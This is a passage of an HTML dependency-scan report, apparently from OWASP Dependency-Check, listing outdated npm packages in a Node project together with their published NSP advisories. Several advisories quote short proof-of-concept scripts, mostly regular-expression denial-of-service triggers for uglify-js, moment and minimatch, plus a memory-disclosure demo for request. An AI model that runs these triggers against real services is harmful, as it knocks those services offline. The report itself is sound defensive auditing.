href="https://nodesecurity.io/advisories/28">NSP-28</a></b></p><p>Severity:Medium<br/>CVSS Score: 6.5 </p><p><pre>Versions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/28">Advisory 28: Denial-of-Service Extended Event Loop Blocking</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs2">qs:<1.0.0</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/29">NSP-29</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Versions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/29">Advisory 29: Denial-of-Service Memory Exhaustion</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs3">qs:<1.0.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l111_6f6504a5758cfe7611f46b0418558110e0899e05"></a>send:0.1.4</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?send<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header224" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content224" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>send</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>send</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.1.4</td><td>Highest</td></tr></table></div><h4 id="header225" class="subsectionheader white">Identifiers</h4><div id="content225" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> send:0.1.4 <i>Confidence</i>:Highest</li></ul></div><h4 id="header226" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content226" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/32">NSP-32</a></b></p><p>Severity:Medium<br/>CVSS Score: 4.3 </p><p><pre>Versions 0.8.3 and earlier of `send` are affected by a directory traversal vulnerability. When relying on the root option to restrict file access it may be possible for an application consumer to escape out of the restricted directory and access files in a similarly named directory.
For example, `static(_dirname + '/public')` would allow access to `_dirname + '/public-restricted'`.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/32">Advisory 32: Directory Traversal</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs4">send:< 0.8.4</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/56">NSP-56</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `send` prior to 0.11.2 are affected by an information leakage vulnerability which may allow an attacker to enumerate paths on the server filesystem.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/56">Advisory 56: Root Path Disclosure</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs5">send:<0.11.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l112_decbf3cea634f08a3cb16b628ebe0bc16d545140"></a>mime:1.2.11</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?mime<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header227" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content227" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>mime</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>mime</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.2.11</td><td>Highest</td></tr></table></div><h4 id="header228" class="subsectionheader white">Identifiers</h4><div id="content228" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> mime:1.2.11 <i>Confidence</i>:Highest</li></ul></div><h4 id="header229" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content229" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/535">NSP-535</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/535">Advisory 535: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs6">mime:< 1.4.1 || > 2.0.0 < 2.0.3</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l113_513db5434a851a98383b02d73b737ef02033e080"></a>fresh:0.2.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?fresh<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header230" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content230" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>fresh</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>fresh</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.2.0</td><td>Highest</td></tr></table></div><h4 id="header231" class="subsectionheader white">Identifiers</h4><div id="content231" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> fresh:0.2.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header232" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content232" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/526">NSP-526</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `fresh` are vulnerable to regular expression denial of service when parsing specially crafted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/526">Advisory 526: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs7">fresh:< 0.5.2</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l114_a45636080ca309d770b0029ade86aa3ff256809b"></a>negotiator:0.2.8</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?negotiator<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header233" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content233" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>negotiator</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>negotiator</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.2.8</td><td>Highest</td></tr></table></div><h4 id="header234" class="subsectionheader white">Identifiers</h4><div id="content234" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> negotiator:0.2.8 <i>Confidence</i>:Highest</li></ul></div><h4 id="header235" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content235" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/106">NSP-106</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `negotiator` are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted `Accept-Language` header value.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/106">Advisory 106: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs8">negotiator:<= 0.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l115_c8ddb3aef0b3cf393da4d83fffcc9c76438644c2"></a>cookie-signature:1.0.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?cookie-signature<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header236" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content236" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>cookie-signature</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>cookie-signature</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.0.1</td><td>Highest</td></tr></table></div><h4 id="header237" class="subsectionheader white">Identifiers</h4><div id="content237" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> cookie-signature:1.0.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header238" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content238" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/134">NSP-134</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.4 </p><p><pre>Affected versions of `cookie-signature` are vulnerable to timing attacks as a result of using a fail-early comparison instead of a constant-time comparison.
Timing attacks remove the exponential increase in entropy gained from increased secret length, by providing per-character feedback on the correctness of a guess via miniscule timing differences.
Under favorable network conditions, an attacker can exploit this to guess the secret in no more than `charset*length` guesses, instead of `charset^length` guesses required were the timing attack not present.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/134">Advisory 134: Timing attack vulnerability</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs9">cookie-signature:<=1.0.5</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l116_cd4152d57c4ceac72ad8f5fc663776003e9e084f"></a>uglify-js:1.0.6</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?uglify-js<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header239" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content239" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>uglify-js</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>uglify-js</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.0.6</td><td>Highest</td></tr></table></div><h4 id="header240" class="subsectionheader white">Identifiers</h4><div id="content240" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> uglify-js:1.0.6 <i>Confidence</i>:Highest</li></ul></div><h4 id="header241" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content241" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/39">NSP-39</a></b></p><p>Severity:High<br/>CVSS Score: 8.3 </p><p><pre>Versions of `uglify-js` prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/39">Advisory 39: Incorrect Handling of Non-Boolean Comparisons During Minification</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs10">uglify-js:<= 2.4.23</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/48">NSP-48</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.
### Proof of Concept
```
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
```
### Results
```
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/48">Advisory 48: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs11">uglify-js:<2.6.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l117_9b2d1ce72969dbe487843119346a294e84db344c"></a>node-uuid:1.4.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?node-uuid<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header242" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content242" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>node-uuid</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>node-uuid</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.4.0</td><td>Highest</td></tr></table></div><h4 id="header243" class="subsectionheader white">Identifiers</h4><div id="content243" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> node-uuid:1.4.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header244" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content244" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/93">NSP-93</a></b></p><p>Severity:Medium<br/>CVSS Score: 4.2 </p><p><pre>Affected versions of `node-uuid` consistently fall back to using `Math.random` as an entropy source instead of `crypto`, which may result in guessable UUID's.
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/93">Advisory 93: Insecure Entropy Source - Math.random()</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs12">node-uuid:<1.4.4</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l118_daf26c7f7aa4a3aebd46412bf4c723519a42731b"></a>request:2.12.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?request<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header245" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content245" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>request</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>request</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.12.0</td><td>Highest</td></tr></table></div><h4 id="header246" class="subsectionheader white">Identifiers</h4><div id="content246" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> request:2.12.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header247" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content247" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/309">NSP-309</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.
## Proof of Concept
```
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/309">Advisory 309: Remote Memory Exposure</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs13">request:>=2.2.6 <2.47.0 || >2.51.0 <=2.67.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l119_45e9b88ea85eee3f312a92697836b6991afca8c2"></a>moment:2.3.1</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?moment<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header248" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content248" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>moment</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>moment</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.3.1</td><td>Highest</td></tr></table></div><h4 id="header249" class="subsectionheader white">Identifiers</h4><div id="content249" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> moment:2.3.1 <i>Confidence</i>:Highest</li></ul></div><h4 id="header250" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content250" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/532">NSP-532</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `moment` are vulnerable to a low severity regular expression denial of service when parsing dates as strings.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/532">Advisory 532: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs14">moment:<2.19.3</li></ul></p><p><b><a target="_blank" href="https://nodesecurity.io/advisories/55">NSP-55</a></b></p><p>Severity:Medium<br/>CVSS Score: 5.3 </p><p><pre>Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.
## Proof of concept
```
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
```
### Results
```
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/55">Advisory 55: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs15">moment:<2.11.2</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l120_b45955f42bcf62bb1c642b5d1b6bac6868186ae8"></a>minimatch:0.2.14</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?minimatch<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header251" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content251" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>minimatch</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>minimatch</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.2.14</td><td>Highest</td></tr></table></div><h4 id="header252" class="subsectionheader white">Identifiers</h4><div id="content252" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> minimatch:0.2.14 <i>Confidence</i>:Highest</li></ul></div><h4 id="header253" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content253" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/118">NSP-118</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.
## Proof of Concept
```
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/118">Advisory 118: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs16">minimatch:<=3.0.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l121_ffed5477ff15ddcfcea4d2c7081c0b3f6552f3d8"></a>growl:1.7.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?growl<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header254" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content254" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>growl</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>growl</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.7.0</td><td>Highest</td></tr></table></div><h4 id="header255" class="subsectionheader white">Identifiers</h4><div id="content255" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> growl:1.7.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header256" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content256" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/146">NSP-146</a></b></p><p>Severity:High<br/>CVSS Score: 9.8 </p><p><pre>Affected versions of `growl` do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/146">Advisory 146: Command Injection</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs17">growl:<1.10.2</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l122_e15c8e760da353fe941df7dcb523638e09abc8f2"></a>mime:1.3.4</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?mime<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header257" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content257" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>mime</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>mime</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>1.3.4</td><td>Highest</td></tr></table></div><h4 id="header258" class="subsectionheader white">Identifiers</h4><div id="content258" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> mime:1.3.4 <i>Confidence</i>:Highest</li></ul></div><h4 id="header259" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content259" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/535">NSP-535</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/535">Advisory 535: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs18">mime:< 1.4.1 || > 2.0.0 < 2.0.3</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l123_6f197a60e192100967a5796ed195cf99f8a44930"></a>debug:2.2.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?debug<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header260" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content260" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>debug</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>debug</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>2.2.0</td><td>Highest</td></tr></table></div><h4 id="header261" class="subsectionheader white">Identifiers</h4><div id="content261" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> debug:2.2.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header262" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content262" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/534">NSP-534</a></b></p><p>Severity:Low<br/>CVSS Score: 3.7 </p><p><pre>Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/534">Advisory 534: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs19">debug:<= 2.6.8 || >= 3.0.0 <= 3.0.1</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l124_654f7a903671159cdeb968874fe61c57c23b6c92"></a>fresh:0.3.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?fresh<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header263" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content263" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>fresh</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>fresh</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.3.0</td><td>Highest</td></tr></table></div><h4 id="header264" class="subsectionheader white">Identifiers</h4><div id="content264" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> fresh:0.3.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header265" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content265" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/526">NSP-526</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `fresh` are vulnerable to regular expression denial of service when parsing specially crafted user input.</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/526">Advisory 526: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs20">fresh:< 0.5.2</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l125_9631f3b6e122f3ef094d43911ffbce140f58298a"></a>negotiator:0.5.3</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?negotiator<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header266" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content266" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>negotiator</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>negotiator</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.5.3</td><td>Highest</td></tr></table></div><h4 id="header267" class="subsectionheader white">Identifiers</h4><div id="content267" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> negotiator:0.5.3 <i>Confidence</i>:Highest</li></ul></div><h4 id="header268" class="subsectionheader expandable collaspablesubsection 